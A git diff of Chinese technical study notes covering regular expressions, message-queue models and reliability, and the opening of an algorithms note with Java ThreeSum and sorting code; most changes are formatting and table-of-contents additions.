+[\w.] 匹配的是字母数字或者 . ，在其后面加上 + ，表示匹配多次。在字符集合 [ ] 里，. 不是元字符；
 
-**匹配结果**
+**匹配结果** 
 
-**abc.def<span>@</span>qq.com**
+**abc.def<span>@</span>qq.com** 
 
-- **{n}** 匹配 n 个字符
-- **{m, n}** 匹配 m~n 个字符
-- **{m,}** 至少匹配 m 个字符
+-  **{n}**  匹配 n 个字符
+-  **{m, n}**  匹配 m\~n 个字符
+-  **{m,}**  至少匹配 m 个字符
 
-\* 和 + 都是贪婪型元字符，会匹配最多的内容。在后面加 ? 可以转换为懒惰型元字符，例如 \*?、+? 和 {m, n}? 。
+\* 和 + 都是贪婪型元字符，会匹配最多的内容。在后面加 ? 可以转换为懒惰型元字符，例如 \*?、+? 和 {m, n}? 。
 
-**正则表达式**
+**正则表达式** 
 
 ```
 a.+c
 ```
 
-由于 + 是贪婪型的，因此 .+ 会匹配更可能多的内容，所以会把整个 abcabcabc 文本都匹配，而不是只匹配前面的 abc 文本。用懒惰型可以实现匹配前面的。
+由于 + 是贪婪型的，因此 .+ 会匹配更可能多的内容，所以会把整个 abcabcabc 文本都匹配，而不是只匹配前面的 abc 文本。用懒惰型可以实现匹配前面的。
 
-**匹配结果**
+**匹配结果** 
 
-**abcabcabc**
+**abcabcabc** 
 
-# 六、位置匹配
+# 六、位置匹配
 
-## 单词边界
+## 单词边界
 
-**\b** 可以匹配一个单词的边界，边界是指位于 \w 和 \W 之间的位置；**\B** 匹配一个不是单词边界的位置。
+**\b**  可以匹配一个单词的边界，边界是指位于 \w 和 \W 之间的位置；**\B** 匹配一个不是单词边界的位置。
 
-\b 只匹配位置，不匹配字符，因此 \babc\b 匹配出来的结果为 3 个字符。
+\b 只匹配位置，不匹配字符，因此 \babc\b 匹配出来的结果为 3 个字符。
 
-## 字符串边界
+## 字符串边界
 
-**^** 匹配整个字符串的开头，**$** 匹配结尾。
+**^**  匹配整个字符串的开头，**$** 匹配结尾。
 
-^ 元字符在字符集合中用作求非，在字符集合外用作匹配字符串的开头。
+^ 元字符在字符集合中用作求非，在字符集合外用作匹配字符串的开头。
 
 分行匹配模式（multiline）下，换行被当做字符串的边界。
 
-**应用**
+**应用** 
 
-匹配代码中以 // 开始的注释行
+匹配代码中以 // 开始的注释行
 
-**正则表达式**
+**正则表达式** 
 
 ```
 ^\s*\/\/.*$
 ```
 
-![](index_files/600e9c75-5033-4dad-ae2b-930957db638e.png)
+<div align="center"> <img src="pics/600e9c75-5033-4dad-ae2b-930957db638e.png"/> </div><br>
 
-**匹配结果**
+**匹配结果** 
 
-1. public void fun() {
-2. &nbsp;&nbsp;&nbsp;&nbsp;    **// 注释 1**
-3. &nbsp;&nbsp;&nbsp;&nbsp;    int a = 1;
-4. &nbsp;&nbsp;&nbsp;&nbsp;    int b = 2;
-5. &nbsp;&nbsp;&nbsp;&nbsp;    **// 注释 2**
-6. &nbsp;&nbsp;&nbsp;&nbsp;    int c = a + b;
-7. }
+1. public void fun() {
+2. &nbsp;&nbsp;&nbsp;&nbsp;     **// 注释 1** 
+3. &nbsp;&nbsp;&nbsp;&nbsp;    int a = 1;
+4. &nbsp;&nbsp;&nbsp;&nbsp;    int b = 2;
+5. &nbsp;&nbsp;&nbsp;&nbsp;     **// 注释 2** 
+6. &nbsp;&nbsp;&nbsp;&nbsp;    int c = a + b;
+7. }
 
-# 七、使用子表达式
+# 七、使用子表达式
 
-使用 **( )** 定义一个子表达式。子表达式的内容可以当成一个独立元素，即可以将它看成一个字符，并且使用 * 等元字符。
+使用  **( )**  定义一个子表达式。子表达式的内容可以当成一个独立元素，即可以将它看成一个字符，并且使用 * 等元字符。
 
 子表达式可以嵌套，但是嵌套层次过深会变得很难理解。
 
-**正则表达式**
+**正则表达式** 
 
 ```
 (ab){2,}
 ```
 
-**匹配结果**
+**匹配结果** 
 
-**ababab**
+**ababab** 
 
-**|** 是或元字符，它把左边和右边所有的部分都看成单独的两个部分，两个部分只要有一个匹配就行。
+**|**  是或元字符，它把左边和右边所有的部分都看成单独的两个部分，两个部分只要有一个匹配就行。
 
-**正则表达式**
+**正则表达式** 
 
 ```
 (19|20)\d{2}
 ```
 
-**匹配结果**
+**匹配结果** 
 
-1. **1900**
-2. **2010**
-3. 1020
+1.  **1900** 
+2.  **2010** 
+3. 1020
 
-**应用**
+**应用** 
 
-匹配 IP 地址。
+匹配 IP 地址。
 
-IP 地址中每部分都是 0-255 的数字，用正则表达式匹配时以下情况是合法的：
+IP 地址中每部分都是 0-255 的数字，用正则表达式匹配时以下情况是合法的：
 
-- 一位数字
-- 不以 0 开头的两位数字
-- 1 开头的三位数
-- 2 开头，第 2 位是 0-4 的三位数
-- 25 开头，第 3 位是 0-5 的三位数
+- 一位数字
+- 不以 0 开头的两位数字
+- 1 开头的三位数
+- 2 开头，第 2 位是 0-4 的三位数
+- 25 开头，第 3 位是 0-5 的三位数
 
-**正则表达式**
+**正则表达式** 
 
 ```
 ((25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))\.){3}(25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))
 ```
 
-**匹配结果**
+**匹配结果** 
 
-1. **192.168.0.1**
-2. 00.00.00.00
-3. 555.555.555.555
+1.  **192.168.0.1** 
+2. 00.00.00.00
+3. 555.555.555.555
 
-# 八、回溯引用
+# 八、回溯引用
 
-回溯引用使用 **\n** 来引用某个子表达式，其中 n 代表的是子表达式的序号，从 1 开始。它和子表达式匹配的内容一致，比如子表达式匹配到 abc，那么回溯引用部分也需要匹配 abc 。
+回溯引用使用  **\n**  来引用某个子表达式，其中 n 代表的是子表达式的序号，从 1 开始。它和子表达式匹配的内容一致，比如子表达式匹配到 abc，那么回溯引用部分也需要匹配 abc 。
 
-**应用**
+**应用** 
 
-匹配 HTML 中合法的标题元素。
+匹配 HTML 中合法的标题元素。
 
-**正则表达式**
+**正则表达式** 
 
-\1 将回溯引用子表达式 (h[1-6]) 匹配的内容，也就是说必须和子表达式匹配的内容一致。
+\1 将回溯引用子表达式 (h[1-6]) 匹配的内容，也就是说必须和子表达式匹配的内容一致。
 
 ```
 <(h[1-6])>\w*?<\/\1>
 ```
 
-**匹配结果**
+**匹配结果** 
 
-1. **&lt;h1>x&lt;/h1>**
-2. **&lt;h2>x&lt;/h2>**
-3. &lt;h3>x&lt;/h1>
+1.  **&lt;h1>x&lt;/h1>** 
+2.  **&lt;h2>x&lt;/h2>** 
+3. &lt;h3>x&lt;/h1>
 
-## 替换
+## 替换
 
 需要用到两个正则表达式。
 
-**应用**
+**应用** 
 
 修改电话号码格式。
 
-**文本**
+**文本** 
 
 313-555-1234
 
-**查找正则表达式**
+**查找正则表达式** 
 
 ```
 (\d{3})(-)(\d{3})(-)(\d{4})
 ```
 
-**替换正则表达式**
+**替换正则表达式** 
 
-在第一个子表达式查找的结果加上 () ，然后加一个空格，在第三个和第五个字表达式查找的结果中间加上 - 进行分隔。
+在第一个子表达式查找的结果加上 () ，然后加一个空格，在第三个和第五个字表达式查找的结果中间加上 - 进行分隔。
 
 ```
-($1) $3-$5
+($1) $3-$5
 ```
 
-**结果**
+**结果** 
 
-(313) 555-1234
+(313) 555-1234
 
-## 大小写转换
+## 大小写转换
 
-|  元字符 | 说明  |
-| :---: | :---: |
-|  \l | 把下个字符转换为小写  |
-|   \u| 把下个字符转换为大写  |
-|  \L | 把\L 和\E 之间的字符全部转换为小写  |
-|  \U | 把\U 和\E 之间的字符全部转换为大写  |
-|  \E | 结束\L 或者\U  |
+|  元字符 | 说明  |
+| :---: | :---: |
+|  \l | 把下个字符转换为小写  |
+|   \u| 把下个字符转换为大写  |
+|  \L | 把\L 和\E 之间的字符全部转换为小写  |
+|  \U | 把\U 和\E 之间的字符全部转换为大写  |
+|  \E | 结束\L 或者\U  |
 
-**应用**
+**应用** 
 
 把文本的第二个和第三个字符转换为大写。
 
-**文本**
+**文本** 
 
 abcd
 
-**查找**
+**查找** 
 
 ```
 (\w)(\w{2})(\w)
 ```
 
-**替换**
+**替换** 
 
 ```
 $1\U$2\E$3
 ```
 
-**结果**
+**结果** 
 
 aBCd
 
-# 九、前后查找
+# 九、前后查找
 
-前后查找规定了匹配的内容首尾应该匹配的内容，但是又不包含首尾匹配的内容。向前查找用 **?=** 来定义，它规定了尾部匹配的内容，这个匹配的内容在 ?= 之后定义。所谓向前查找，就是规定了一个匹配的内容，然后以这个内容为尾部向前面查找需要匹配的内容。向后匹配用 ?<= 定义（注: javaScript 不支持向后匹配, java 对其支持也不完善）。
+前后查找规定了匹配的内容首尾应该匹配的内容，但是又不包含首尾匹配的内容。向前查找用  **?=**  来定义，它规定了尾部匹配的内容，这个匹配的内容在 ?= 之后定义。所谓向前查找，就是规定了一个匹配的内容，然后以这个内容为尾部向前面查找需要匹配的内容。向后匹配用 ?<= 定义（注: javaScript 不支持向后匹配, java 对其支持也不完善）。
 
-**应用**
+**应用** 
 
-查找出邮件地址 @ 字符前面的部分。
+查找出邮件地址 @ 字符前面的部分。
 
-**正则表达式**
+**正则表达式** 
 
 ```
 \w+(?=@)
 ```
 
-**结果**
+**结果** 
 
-**abc**@qq.com
+**abc** @qq.com
 
-对向前和向后查找取非，只要把 = 替换成 ! 即可，比如 (?=) 替换成 (?!) 。取非操作使得匹配那些首尾不符合要求的内容。
+对向前和向后查找取非，只要把 = 替换成 ! 即可，比如 (?=) 替换成 (?!) 。取非操作使得匹配那些首尾不符合要求的内容。
 
-# 十、嵌入条件
+# 十、嵌入条件
 
-## 回溯引用条件
+## 回溯引用条件
 
 条件判断为某个子表达式是否匹配，如果匹配则需要继续匹配条件表达式后面的内容。
 
-**正则表达式**
+**正则表达式** 
 
-子表达式 (\\() 匹配一个左括号，其后的 ? 表示匹配 0 个或者 1 个。 ?(1) 为条件，当子表达式 1 匹配时条件成立，需要执行 \) 匹配，也就是匹配右括号。
+子表达式 (\\() 匹配一个左括号，其后的 ? 表示匹配 0 个或者 1 个。 ?(1) 为条件，当子表达式 1 匹配时条件成立，需要执行 \) 匹配，也就是匹配右括号。
 
 ```
 (\()?abc(?(1)\))
 ```
 
-**结果**
+**结果** 
 
-1. **(abc)**
-2. **abc**
-3. (abc
+1.  **(abc)** 
+2.  **abc** 
+3. (abc
 
-## 前后查找条件
+## 前后查找条件
 
 条件为定义的首尾是否匹配，如果匹配，则继续执行后面的匹配。注意，首尾不包含在匹配的内容中。
 
-**正则表达式**
+**正则表达式** 
 
- ?(?=-) 为前向查找条件，只有在以 - 为前向查找的结尾能匹配 \d{5} ，才继续匹配 -\d{4} 。
+ ?(?=-) 为前向查找条件，只有在以 - 为前向查找的结尾能匹配 \d{5} ，才继续匹配 -\d{4} 。
 
 ```
 \d{5}(?(?=-)-\d{4})
 ```
 
-**结果**
+**结果** 
 
-1. **11111**
-2. 22222-
-3. **33333-4444**
+1.  **11111** 
+2. 22222-
+3.  **33333-4444** 
 
-# 参考资料
+# 参考资料
 
-- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.
+- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.
diff --git a/docs/notes/消息队列.md b/docs/notes/消息队列.md
index bb175bf8..e6fdf040 100644
--- a/docs/notes/消息队列.md
+++ b/docs/notes/消息队列.md
@@ -1,27 +1,43 @@
-# 一、消息模型
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、消息模型](#一消息模型)
+    * [点对点](#点对点)
+    * [发布/订阅](#发布订阅)
+* [二、使用场景](#二使用场景)
+    * [异步处理](#异步处理)
+    * [流量削锋](#流量削锋)
+    * [应用解耦](#应用解耦)
+* [三、可靠性](#三可靠性)
+    * [发送端的可靠性](#发送端的可靠性)
+    * [接收端的可靠性](#接收端的可靠性)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## 点对点
+
+# 一、消息模型
+
+## 点对点
 
 消息生产者向消息队列中发送了一个消息之后，只能被一个消费者消费一次。
 
-<img src="index_files/685a692f-8f76-4cac-baac-b68e2df9a30f.jpg" width="400px"/>
+<div align="center"> <img src="pics/685a692f-8f76-4cac-baac-b68e2df9a30f.jpg" width="400px"/> </div><br>
 
-## 发布/订阅
+## 发布/订阅
 
 消息生产者向频道发送一个消息之后，多个消费者可以从该频道订阅到这条消息并消费。
 
-<img src="index_files/ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg" width="400PX"/>
+<div align="center"> <img src="pics/ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg" width="400PX"/> </div><br>
 
 发布与订阅模式和观察者模式有以下不同：
 
-- 观察者模式中，观察者和主题都知道对方的存在；而在发布与订阅模式中，发布者与订阅者不知道对方的存在，它们之间通过频道进行通信。
-- 观察者模式是同步的，当事件触发时，主题会调用观察者的方法，然后等待方法返回；而发布与订阅模式是异步的，发布者向频道发送一个消息之后，就不需要关心订阅者何时去订阅这个消息，可以立即返回。
+- 观察者模式中，观察者和主题都知道对方的存在；而在发布与订阅模式中，发布者与订阅者不知道对方的存在，它们之间通过频道进行通信。
+- 观察者模式是同步的，当事件触发时，主题会调用观察者的方法，然后等待方法返回；而发布与订阅模式是异步的，发布者向频道发送一个消息之后，就不需要关心订阅者何时去订阅这个消息，可以立即返回。
 
-<img src="index_files/bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400PX"/>
+<div align="center"> <img src="pics/bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400PX"/> </div><br>
 
-# 二、使用场景
+# 二、使用场景
 
-## 异步处理
+## 异步处理
 
 发送者将消息发送给消息队列之后，不需要同步等待消息接收者处理完毕，而是立即返回进行其它操作。消息接收者从消息队列中订阅消息之后异步处理。
 
@@ -29,42 +45,38 @@
 
 只有在业务流程允许异步处理的情况下才能这么做，例如上面的注册流程中，如果要求用户对验证邮件进行点击之后才能完成注册的话，就不能再使用消息队列。
 
-## 流量削锋
+## 流量削锋
 
 在高并发的场景下，如果短时间有大量的请求到达会压垮服务器。
 
 可以将请求发送到消息队列中，服务器按照其处理能力从消息队列中订阅消息进行处理。
 
-## 应用解耦
+## 应用解耦
 
 如果模块之间不直接进行调用，模块之间耦合度就会很低，那么修改一个模块或者新增一个模块对其它模块的影响会很小，从而实现可扩展性。
 
 通过使用消息队列，一个模块只需要向消息队列中发送消息，其它模块可以选择性地从消息队列中订阅消息从而完成调用。
 
-# 三、可靠性
+# 三、可靠性
 
-## 发送端的可靠性
+## 发送端的可靠性
 
 发送端完成操作后一定能将消息成功发送到消息队列中。
 
 实现方法：
 
-- 在本地数据库建一张消息表，将消息数据与业务数据保存在同一数据库实例里，这样就可以利用本地数据库的事务机制。事务提交成功后，将消息表中的消息转移到消息队列中，若转移消息成功则删除消息表中的数据，否则继续重传。
+- 在本地数据库建一张消息表，将消息数据与业务数据保存在同一数据库实例里，这样就可以利用本地数据库的事务机制。事务提交成功后，将消息表中的消息转移到消息队列中，若转移消息成功则删除消息表中的数据，否则继续重传。
 
-## 接收端的可靠性
+## 接收端的可靠性
 
 接收端能够从消息队列成功消费一次消息。
 
 两种实现方法：
 
-- 保证接收端处理消息的业务逻辑具有幂等性：只要具有幂等性，那么消费多少次消息，最后处理的结果都是一样的。
-- 保证消息具有唯一编号，并使用一张日志表来记录已经消费的消息编号。
+- 保证接收端处理消息的业务逻辑具有幂等性：只要具有幂等性，那么消费多少次消息，最后处理的结果都是一样的。
+- 保证消息具有唯一编号，并使用一张日志表来记录已经消费的消息编号。
 
-# 参考资料
+# 参考资料
 
-- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
-- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)
----bottom---CyC---
-![](index_files/685a692f-8f76-4cac-baac-b68e2df9a30f.jpg)
-![](index_files/ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg)
-![](index_files/bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg)
+- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
+- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)
diff --git a/docs/notes/算法.md b/docs/notes/算法.md
index fff83238..267085e4 100644
--- a/docs/notes/算法.md
+++ b/docs/notes/算法.md
@@ -1,1282 +1,1322 @@
-# 一、前言
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、前言](#一前言)
+* [二、算法分析](#二算法分析)
+    * [数学模型](#数学模型)
+    * [注意事项](#注意事项)
+    * [ThreeSum](#threesum)
+    * [倍率实验](#倍率实验)
+* [三、排序](#三排序)
+    * [选择排序](#选择排序)
+    * [冒泡排序](#冒泡排序)
+    * [插入排序](#插入排序)
+    * [希尔排序](#希尔排序)
+    * [归并排序](#归并排序)
+    * [快速排序](#快速排序)
+    * [堆排序](#堆排序)
+    * [小结](#小结)
+* [四、并查集](#四并查集)
+    * [Quick Find](#quick-find)
+    * [Quick Union](#quick-union)
+    * [加权 Quick Union](#加权-quick-union)
+    * [路径压缩的加权 Quick Union](#路径压缩的加权-quick-union)
+    * [比较](#比较)
+* [五、栈和队列](#五栈和队列)
+    * [栈](#栈)
+    * [队列](#队列)
+* [六、符号表](#六符号表)
+    * [初级实现](#初级实现)
+    * [二叉查找树](#二叉查找树)
+    * [2-3 查找树](#2-3-查找树)
+    * [红黑树](#红黑树)
+    * [散列表](#散列表)
+    * [小结](#小结)
+* [七、其它](#七其它)
+    * [汉诺塔](#汉诺塔)
+    * [哈夫曼编码](#哈夫曼编码)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-- 实现代码：[Algorithm](https://github.com/CyC2018/Algorithm)
-- 绘图文件：[ProcessOn](https://www.processon.com/view/link/5a3e4c1ee4b0ce9ffea8c727)
 
-# 二、算法分析
+# 一、前言
 
-## 数学模型
+- 实现代码：[Algorithm](https://github.com/CyC2018/Algorithm)
+- 绘图文件：[ProcessOn](https://www.processon.com/view/link/5a3e4c1ee4b0ce9ffea8c727)
 
-### 1. 近似
+# 二、算法分析
 
-N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 ~ N<sup>3</sup>/6。使用 ~f(N) 来表示所有随着 N 的增大除以 f(N) 的结果趋近于 1 的函数。
+## 数学模型
 
-### 2. 增长数量级
+### 1. 近似
 
-N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 的增长数量级为 O(N<sup>3</sup>)。增长数量级将算法与它的实现隔离开来，一个算法的增长数量级为 O(N<sup>3</sup>) 与它是否用 Java 实现，是否运行于特定计算机上无关。
+N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 \~ N<sup>3</sup>/6。使用 \~f(N) 来表示所有随着 N 的增大除以 f(N) 的结果趋近于 1 的函数。
 
-### 3. 内循环
+### 2. 增长数量级
+
+N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 的增长数量级为 O(N<sup>3</sup>)。增长数量级将算法与它的实现隔离开来，一个算法的增长数量级为 O(N<sup>3</sup>) 与它是否用 Java 实现，是否运行于特定计算机上无关。
+
+### 3. 内循环
 
 执行最频繁的指令决定了程序执行的总时间，把这些指令称为程序的内循环。
 
-### 4. 成本模型
+### 4. 成本模型
 
 使用成本模型来评估算法，例如数组的访问次数就是一种成本模型。
 
-## 注意事项
+## 注意事项
 
-### 1. 大常数
+### 1. 大常数
 
 在求近似时，如果低级项的常数系数很大，那么近似的结果就是错误的。
 
-### 2. 缓存
+### 2. 缓存
 
 计算机系统会使用缓存技术来组织内存，访问数组相邻的元素会比访问不相邻的元素快很多。
 
-### 3. 对最坏情况下的性能的保证
+### 3. 对最坏情况下的性能的保证
 
 在核反应堆、心脏起搏器或者刹车控制器中的软件，最坏情况下的性能是十分重要的。
 
-### 4. 随机化算法
+### 4. 随机化算法
 
 通过打乱输入，去除算法对输入的依赖。
 
-### 5. 均摊分析
+### 5. 均摊分析
 
-将所有操作的总成本除于操作总数来将成本均摊。例如对一个空栈进行 N 次连续的 push() 调用需要访问数组的次数为 N+4+8+16+...+2N=5N-4（N 是向数组写入元素的操作次数，其余的都是调整数组大小时进行复制需要的访问数组次数），均摊后访问数组的平均次数为常数。
+将所有操作的总成本除于操作总数来将成本均摊。例如对一个空栈进行 N 次连续的 push() 调用需要访问数组的次数为 N+4+8+16+...+2N=5N-4（N 是向数组写入元素的操作次数，其余的都是调整数组大小时进行复制需要的访问数组次数），均摊后访问数组的平均次数为常数。
 
-## ThreeSum
+## ThreeSum
 
-ThreeSum 用于统计一个数组中和为 0 的三元组数量。
+ThreeSum 用于统计一个数组中和为 0 的三元组数量。
 
 ```java
-public interface ThreeSum {
-    int count(int[] nums);
+public interface ThreeSum {
+    int count(int[] nums);
 }
 ```
 
-### 1. ThreeSumSlow
+### 1. ThreeSumSlow
 
-该算法的内循环为 `if (nums[i] + nums[j] + nums[k] == 0)` 语句，总共执行的次数为 N(N-1)(N-2) = N<sup>3</sup>/6-N<sup>2</sup>/2+N/3，因此它的近似执行次数为 ~N<sup>3</sup>/6，增长数量级为 O(N<sup>3</sup>)。
+该算法的内循环为 `if (nums[i] + nums[j] + nums[k] == 0)` 语句，总共执行的次数为 N(N-1)(N-2) = N<sup>3</sup>/6-N<sup>2</sup>/2+N/3，因此它的近似执行次数为 \~N<sup>3</sup>/6，增长数量级为 O(N<sup>3</sup>)。
 
 ```java
-public class ThreeSumSlow implements ThreeSum {
-    @Override
-    public int count(int[] nums) {
-        int N = nums.length;
-        int cnt = 0;
-        for (int i = 0; i < N; i++) {
-            for (int j = i + 1; j < N; j++) {
-                for (int k = j + 1; k < N; k++) {
-                    if (nums[i] + nums[j] + nums[k] == 0) {
-                        cnt++;
-                    }
-                }
-            }
-        }
-        return cnt;
-    }
+public class ThreeSumSlow implements ThreeSum {
+    @Override
+    public int count(int[] nums) {
+        int N = nums.length;
+        int cnt = 0;
+        for (int i = 0; i < N; i++) {
+            for (int j = i + 1; j < N; j++) {
+                for (int k = j + 1; k < N; k++) {
+                    if (nums[i] + nums[j] + nums[k] == 0) {
+                        cnt++;
+                    }
+                }
+            }
+        }
+        return cnt;
+    }
 }
 ```
 
-### 2. ThreeSumBinarySearch
+### 2. ThreeSumBinarySearch
 
-通过将数组先排序，对两个元素求和，并用二分查找方法查找是否存在该和的相反数，如果存在，就说明存在三元组的和为 0。
+通过将数组先排序，对两个元素求和，并用二分查找方法查找是否存在该和的相反数，如果存在，就说明存在三元组的和为 0。
 
 应该注意的是，只有数组不含有相同元素才能使用这种解法，否则二分查找的结果会出错。
 
-该方法可以将 ThreeSum 算法增长数量级降低为 O(N<sup>2</sup>logN)。
+该方法可以将 ThreeSum 算法增长数量级降低为 O(N<sup>2</sup>logN)。
 
 ```java
-public class ThreeSumBinarySearch implements ThreeSum {
+public class ThreeSumBinarySearch implements ThreeSum {
 
-    @Override
-    public int count(int[] nums) {
-        Arrays.sort(nums);
-        int N = nums.length;
-        int cnt = 0;
-        for (int i = 0; i < N; i++) {
-            for (int j = i + 1; j < N; j++) {
-                int target = -nums[i] - nums[j];
-                int index = BinarySearch.search(nums, target);
-                // 应该注意这里的下标必须大于 j，否则会重复统计。
-                if (index > j) {
-                    cnt++;
-                }
-            }
-        }
-        return cnt;
-    }
+    @Override
+    public int count(int[] nums) {
+        Arrays.sort(nums);
+        int N = nums.length;
+        int cnt = 0;
+        for (int i = 0; i < N; i++) {
+            for (int j = i + 1; j < N; j++) {
+                int target = -nums[i] - nums[j];
+                int index = BinarySearch.search(nums, target);
+                // 应该注意这里的下标必须大于 j，否则会重复统计。
+                if (index > j) {
+                    cnt++;
+                }
+            }
+        }
+        return cnt;
+    }
 }
 ```
 
 ```java
-public class BinarySearch {
+public class BinarySearch {
 
-    public static int search(int[] nums, int target) {
-        int l = 0, h = nums.length - 1;
-        while (l <= h) {
-            int m = l + (h - l) / 2;
-            if (target == nums[m]) {
-                return m;
-            } else if (target > nums[m]) {
-                l = m + 1;
-            } else {
-                h = m - 1;
-            }
-        }
-        return -1;
-    }
+    public static int search(int[] nums, int target) {
+        int l = 0, h = nums.length - 1;
+        while (l <= h) {
+            int m = l + (h - l) / 2;
+            if (target == nums[m]) {
+                return m;
+            } else if (target > nums[m]) {
+                l = m + 1;
+            } else {
+                h = m - 1;
+            }
+        }
+        return -1;
+    }
 }
 ```
 
-### 3. ThreeSumTwoPointer
+### 3. ThreeSumTwoPointer
 
-更有效的方法是先将数组排序，然后使用双指针进行查找，时间复杂度为 O(N<sup>2</sup>)。
+更有效的方法是先将数组排序，然后使用双指针进行查找，时间复杂度为 O(N<sup>2</sup>)。
 
 ```java
-public class ThreeSumTwoPointer implements ThreeSum {
+public class ThreeSumTwoPointer implements ThreeSum {
 
-    @Override
-    public int count(int[] nums) {
-        int N = nums.length;
-        int cnt = 0;
-        Arrays.sort(nums);
-        for (int i = 0; i < N - 2; i++) {
-            int l = i + 1, h = N - 1, target = -nums[i];
-            if (i > 0 && nums[i] == nums[i - 1]) continue;
-            while (l < h) {
-                int sum = nums[l] + nums[h];
-                if (sum == target) {
-                    cnt++;
-                    while (l < h && nums[l] == nums[l + 1]) l++;
-                    while (l < h && nums[h] == nums[h - 1]) h--;
-                    l++;
-                    h--;
-                } else if (sum < target) {
-                    l++;
-                } else {
-                    h--;
-                }
-            }
-        }
-        return cnt;
-    }
+    @Override
+    public int count(int[] nums) {
+        int N = nums.length;
+        int cnt = 0;
+        Arrays.sort(nums);
+        for (int i = 0; i < N - 2; i++) {
+            int l = i + 1, h = N - 1, target = -nums[i];
+            if (i > 0 && nums[i] == nums[i - 1]) continue;
+            while (l < h) {
+                int sum = nums[l] + nums[h];
+                if (sum == target) {
+                    cnt++;
+                    while (l < h && nums[l] == nums[l + 1]) l++;
+                    while (l < h && nums[h] == nums[h - 1]) h--;
+                    l++;
+                    h--;
+                } else if (sum < target) {
+                    l++;
+                } else {
+                    h--;
+                }
+            }
+        }
+        return cnt;
+    }
 }
 ```
 
-## 倍率实验
+## 倍率实验
 
-如果 T(N) ~ aN<sup>b</sup>logN，那么 T(2N)/T(N) ~ 2<sup>b</sup>。
+如果 T(N) \~ aN<sup>b</sup>logN，那么 T(2N)/T(N) \~ 2<sup>b</sup>。
 
-例如对于暴力的 ThreeSum 算法，近似时间为 ~N<sup>3</sup>/6。进行如下实验：多次运行该算法，每次取的 N 值为前一次的两倍，统计每次执行的时间，并统计本次运行时间与前一次运行时间的比值，得到如下结果：
+例如对于暴力的 ThreeSum 算法，近似时间为 \~N<sup>3</sup>/6。进行如下实验：多次运行该算法，每次取的 N 值为前一次的两倍，统计每次执行的时间，并统计本次运行时间与前一次运行时间的比值，得到如下结果：
 
-| N | Time(ms) | Ratio |
-| :---: | :---: | :---: |
-| 500 | 48 | / |
-| 1000 | 320 | 6.7 |
-| 2000 | 555 | 1.7 |
-| 4000 | 4105 | 7.4 |
-| 8000 | 33575 | 8.2 |
-| 16000 | 268909 | 8.0 |
+| N | Time(ms) | Ratio |
+| :---: | :---: | :---: |
+| 500 | 48 | / |
+| 1000 | 320 | 6.7 |
+| 2000 | 555 | 1.7 |
+| 4000 | 4105 | 7.4 |
+| 8000 | 33575 | 8.2 |
+| 16000 | 268909 | 8.0 |
 
-可以看到，T(2N)/T(N) ~ 2<sup>3</sup>，因此可以确定 T(N) ~ aN<sup>3</sup>logN。
+可以看到，T(2N)/T(N) \~ 2<sup>3</sup>，因此可以确定 T(N) \~ aN<sup>3</sup>logN。
 
 ```java
-public class RatioTest {
+public class RatioTest {
 
-    public static void main(String[] args) {
-        int N = 500;
-        int loopTimes = 7;
-        double preTime = -1;
-        while (loopTimes-- > 0) {
-            int[] nums = new int[N];
-            StopWatch.start();
-            ThreeSum threeSum = new ThreeSumSlow();
-            int cnt = threeSum.count(nums);
-            System.out.println(cnt);
-            double elapsedTime = StopWatch.elapsedTime();
-            double ratio = preTime == -1 ? 0 : elapsedTime / preTime;
-            System.out.println(N + "  " + elapsedTime + "  " + ratio);
-            preTime = elapsedTime;
-            N *= 2;
-        }
-    }
+    public static void main(String[] args) {
+        int N = 500;
+        int loopTimes = 7;
+        double preTime = -1;
+        while (loopTimes-- > 0) {
+            int[] nums = new int[N];
+            StopWatch.start();
+            ThreeSum threeSum = new ThreeSumSlow();
+            int cnt = threeSum.count(nums);
+            System.out.println(cnt);
+            double elapsedTime = StopWatch.elapsedTime();
+            double ratio = preTime == -1 ? 0 : elapsedTime / preTime;
+            System.out.println(N + "  " + elapsedTime + "  " + ratio);
+            preTime = elapsedTime;
+            N *= 2;
+        }
+    }
 }
 ```
 
 ```java
-public class StopWatch {
+public class StopWatch {
 
-    private static long start;
+    private static long start;
 
 
-    public static void start() {
-        start = System.currentTimeMillis();
-    }
+    public static void start() {
+        start = System.currentTimeMillis();
+    }
 
 
-    public static double elapsedTime() {
-        long now = System.currentTimeMillis();
-        return (now - start) / 1000.0;
-    }
+    public static double elapsedTime() {
+        long now = System.currentTimeMillis();
+        return (now - start) / 1000.0;
+    }
 }
 ```
 
-# 三、排序
+# 三、排序
 
-待排序的元素需要实现 Java 的 Comparable 接口，该接口有 compareTo() 方法，可以用它来判断两个元素的大小关系。
+待排序的元素需要实现 Java 的 Comparable 接口，该接口有 compareTo() 方法，可以用它来判断两个元素的大小关系。
 
 研究排序算法的成本模型时，统计的是比较和交换的次数。
 
-使用辅助函数 less() 和 swap() 来进行比较和交换的操作，使得代码的可读性和可移植性更好。
+使用辅助函数 less() 和 swap() 来进行比较和交换的操作，使得代码的可读性和可移植性更好。
 
 ```java
-public abstract class Sort<T extends Comparable<T>> {
+public abstract class Sort<T extends Comparable<T>> {
 
-    public abstract void sort(T[] nums);
+    public abstract void sort(T[] nums);
 
-    protected boolean less(T v, T w) {
